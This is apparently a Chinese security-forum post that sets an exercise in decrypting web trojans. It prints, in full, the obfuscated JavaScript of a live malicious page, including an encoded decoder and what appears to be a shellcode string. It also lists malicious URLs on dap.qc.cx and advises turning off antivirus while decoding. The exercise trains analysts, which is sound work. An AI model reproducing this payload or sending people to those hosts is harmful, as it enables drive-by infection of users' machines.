今天，开始进行网马解密练习，先从最简单的开始，解密方法可参考网马解密讲义内容。
恶意链接地址如下：http://dap.qc.cx/h/4.htm，由于网马失效性很快，该链接地址源代码内容如下：
练习要求：
将解密重要过程截图上传，并附解密出日志，跟帖回复即可，设置隐藏。
解密工具为：freshow
注意：解密过程中如遇杀毒软件拦截，暂时关闭监控即可，解密完成后再开启监控。提供网马解密方法不会导致系统中毒。
freshow工具日志格式举例：
Log is generated by FreShow.
[wide]http://dap.qc.cx/h/of.htm
[script]http://dap.qc.cx/h/of.css
[object]http://dap.qc.cx/g/a.css解密小提示：此恶意链接地址源文件内容有document.write函数
<html><head><Meta Name=Encoder Content=404><META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><script language="javascript"><!--
iZ13="8\*5Z14\#4",pB94="87\#5\#\*14";.4861693,jV71=".7602231",pB94='\r\[v\>\,\!\+oT\=\]gF6NU\;b\}\/f2\#h\(5Y1nrOCp\:8tsJ\"E\~dlA\.i34\nZ\$7k0\&wcy\\u\ \%Xa\|LQ\^xjz\?\*P\'\)mB\-e\@\`\{KqRDIM9SV\_\<HWG',iZ13='UVMfm\!blN\*\+ES\;\-Ic\[\]Wjt\_8K\^0g1A3\)i\`P\.\r\|z\(k\/\{XYapy2H5\,9\=usT\$Q\&FB\?GdCvxD4O\@\'6\<qh\:\ L\%nZ\"o\>\~R\\\#J\n7r\}we';function fL85(yR68){"8\*x\*5\*7Z",l=yR68.length;'a1\-\-90y',w='';while(l--)"814Vrx\*\*",o=iZ13.indexOf(yR68.charAt(l)),'a\.\-01yy\-',w=(o==-1?yR68.charAt(l):pB94.charAt(o))+w;"84r5Z\*71",iZ13=iZ13.substring(1)+iZ13.charAt(0),document.write(w);'\.a0y9yy2kLu\_'};fL85("r\rTAai\.F\{G1E\&GEL\*4GMG\rTAai\.f9\~yy\*pg\^pc9Ryg\*\#yypcs3PP\*\^PpcLwp\#\*\^g\^\,c\[\(tg\*tt\#\^c\[\|gP\*P\^P\^cc7\{aTL1\rL\/7\.l7\*z8\&\$\&jL1EzcrW\rTAai\.f")//--></script><sCrIPt LaNguaGE=javaSCRIPt>fL85("");</SCRIpt><SCrIPt LAngUagE=JaVaSCRiPt>fL85("wzQ\)yP\|\?z\)QEk8pQzzk\!wtzQ\)yP\|\!");</SCripT><sCriPt LANGUAGe=JaVAScRipt>fL85("f\,e0zLabf\,ej\+YFbf\,e\_j\+YFbf\,e\(\&i2\.zGav\)\-\?v\-ZS\/kv\!vr\&i2\.z\/bf\,A\+\?S\/BT\@7T\/Wf\,\!viGP\?zZRR\+j\'S\/\+\/\*\/j\/\*\/\'\/\*\/Z\/\*\/\&\/\*\/z\/Wf\,\!viG\{\!2a\&\?zZ2YS\/\&a\(2Y\rK\/Wf\,\!viG\{\!2a\&\?zZ2Y\(S\/I15KpK\{n\{\#P7n5\%Iun\|P\%3n\|uP7737IuI7H\/Wf\,P\?zZRRSY\+\&\?LZ\)zy\&iZvzZ\{aZLZ\)zgP\?zZRR\+j\'\ Wf\,\!viG\{\!2a\&\?zZ2Y\@S\{\!2a\&\?zZ2Y\*\{\!2a\&\?zZ2Y\(Wf\,P\?zZRRm\/\(Zzpzzi2j\?zZ\/\;g\/\&av\(\(2Y\/lG\{\!2a\&\?zZ2Y\@\ Wf\,\!viGP\?zZRR\&\+YZGSG\?\)Z\(\&v\.Zg\/d\?7T\/\*\/7T\/\*\/d\?7T\/\*\/7T\/\*\/d\?7T\/\*\/7T\/G\*f\,\/d\?cT7Td\?3uZjd\?c51Zd\?HTv3d\?TTTTd\?T1TTd\?T\|TTd\?TTTT\/G\*f\,\/d\?8\|\|jd\?TTj7d\?TTT5d\?8HTTd\?88v5d\?Z\|ZTd\?88Z5d\?8888\/G\*f\,\/d\?v3c5d\?TTHTd\?TTTTd\?5T\|jd\?\|jT\&d\?3\&uTd\?\|jvYd\?T\|uT\/G\*f\,\/d\?Z\&\|3d\?TKTTd\?TTTTd\?Z\&\|jd\?Z\|jjd\?TKT8d\?\|jTTd\?\|1TH\/G\*f\,\/d\?T8\&Td\?jj\|1d\?TTTTd\?88TTd\?Z7THd\?TKK3d\?TTTTd\?\|71j\/G\*f\,\/d\?KT1Yd\?c\|1cd\?8Z7\|d\?TZ\|vd\?j3Z\|d\?TTTTd\?\|7TTd\?T\&51\/G\*f\,\/d\?c\|1cd\?5Z\|Zd\?Z\&TZd\?vHZ\|d\?TTTTd\?\|7TTd\?T551d\?c\|1c\/G\*f\,\/d\?u7\&3d\?j\|Z1d\?71Z\|d\?TTTTd\?\|7TTd\?3\&51d\?c\|1cd\?\&c3j\/G\*f\,\/d\?u75cd\?\|uZ\|d\?TTTTd\?\|7TTd\?3T51d\?c\|1cd\?8\&vvd\?u\&TY\/G\*f\,\/d\?u7Z\|d\?TTTTd\?\|7TTd\?T\|51d\?c\|1cd\?\|5Zud\?j5c7d\?cjZ\|\/G\*f\,\/d\?TTTTd\?\|7TTd\?3551d\?ZTjjd\?TKT8d\?\|7TTd\?HHTHd\?\&u8c\/G\*f\,\/d\?K\|51d\?1K11d\?5Y5\&d\?51\&ud\?58K\&d\?TT5Zd\?\|YTTd\?K\|1Y\/G\*f\,\/d\?881Hd\?T511d\?c\|1Td\?3vHcd\?uTK8d\?H8Z\|d\?TTTTd\?\|7TT\/G\*f\,\/d\?K551d\?u8cvd\?1Y\|Yd\?1HK\|d\?1188d\?\&u3\&d\?T155d\?1\&K\|\/G\*f\,\/d\?c1KZd\?\&uu\|d\?T155d\?c1K\&d\?TTTTd\?1cTTd\?\|Y1cd\?K\|uY\/G\*f\,\/d\?881ud\?KTu1d\?881cd\?K511d\?1u1cd\?1188d\?Z\|T\&d\?TTcK\/G\*f\,\/d\?TTTTd\?\&5\|3d\?TKTTd\?TTTTd\?HHc3d\?\&K\&Td\?TTT5d\?\|j11\/G\*f\,\/d\?13Z\&d\?\|j1Hd\?T\|uYd\?1Y\|jd\?1cT\&d\?uH\|jd\?\|jH\&d\?3Zu5\/G\*f\,\/d\?THu\|d\?1c8Hd\?uc\|jd\?THKTd\?HH8Hd\?57\&7d\?vY53d\?\&HTH\/G\*f\,\/d\?HH1c\/\*\/d\?T88cd\?3TjZd\?8KHvd\?T\|u5d\?\&Z\&3d\?THTYd\?5T8K\/G\*f\,\/d\?83Zjd\?8ZHjd\?u11Zd\?1vZ1d\?Zj\|jd\?1v\|jd\?THK5d\?ccYY\/G\*f\,\/d\?T\&\|jd\?\|j5j\/\*\/d\?3\&1vd\?YYTHd\?T5\|jd\?TH\|jd\?1Z\&1d\?171j\/G\*f\,\/d\?\&K1Yd\?TTT\|d\?7KZ7d\?TTTTd\?1ZTTd\?\|Tj8d\?TKT\&d\?j7TT\/G\*f\,\/d\?T3TTd\?TTTTd\?v58Hd\?Z\&\|3d\?T3TTd\?TTTTd\?8\&\|jd\?\&u\|H\/G\*f\,\/d\?\&u3Td\?cZTud\?c5u5d\?\&uc\&d\?T55ud\?TTc\&d\?TTTTd\?881u\/G\*f\,\/d\?T511d\?51\|7d\?\&uK5d\?1KTud\?c\&u5d\?\&u53d\?T55ud\?c\&c\&\/G\*f\,\/d\?cHc8d\?5u\&ud\?c3T\|d\?c1u5d\?\&u5\|d\?T\&5ud\?c3c1d\?TTuT\/G\*f\,\/d\?1T1ud\?1188d\?\|jT\|d\?j\|8Td\?T8Z5d\?TTTKd\?HT\|7d\?Tu\&u\/G\*f\,\/d\?uHcYd\?cHucd\?5u\&ud\?uKT5d\?TTu5d\?1uTTd\?1188d\?\|jT5\/G\*f\,\/d\?H\&5\|d\?\|\&\|jd\?\|TT\|d\?TTTTd\?H7TTd\?T\|H5d\?T5u5d\?87ZK\/G\*f\,\/d\?3KZjd\?H5\|Yd\?11T\|d\?5Tcvd\?T5cvd\?881cd\?3T11d\?Tc\&u\/G\*f\,\/d\?T\&\|Td\?TTTKd\?\&5\|3d\?T3TTd\?TTTTd\?Z\|\&Hd\?88c7d\?8888\/G\*f\,\/d\?T5\|jd\?1HK5d\?1K13d\?1u1cd\?Z\&j7d\?TKT8d\?\|jTTd\?\|137\/G\*f\,\/d\?u1Yjd\?HH1Td\?HH\&7d\?\|HYjd\?TcZ\|d\?juT8d\?\|33\|d\?888j\/G\*f\,\/d\?TT31d\?u1TTd\?\|HHZd\?TcZ\|d\?juT8d\?\|33\|d\?888jd\?TTH1\/G\*f\,\/d\?u1TTd\?\|HHTd\?TKZ\|d\?juT8d\?\|H3\|d\?cv8jd\?K1u1d\?\&T\|H\/G\*f\,\/d\?\|jT5d\?j\|HTd\?T8ZTd\?TTTKd\?TTc\|d\?TTTTd\?c\|T3d\?3TTT\/G\*f\,\/d\?TTTTd\?TTcvd\?3T88d\?Tc\|7d\?55\|7d\?3\|K5d\?Z\&j7d\?TKT8\/G\*f\,\/d\?88TTd\?18T3d\?1v1Zd\?1j17d\?Z5j\|d\?TKT8d\?88TTd\?Z\|KT\/G\*f\,\/d\?8YYvd\?8888\/\*pD\#V\na6T\ Wf\,f\,\&v\+\&v\+LLg\ W f\,e\_\(\&i2\.zbf\,e\_0zLab")</script></head><body><noscript><b><font color=red>404 </font></b></noscript></body></html>
用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 
附件: 您所在的用户组无法下载或查看附件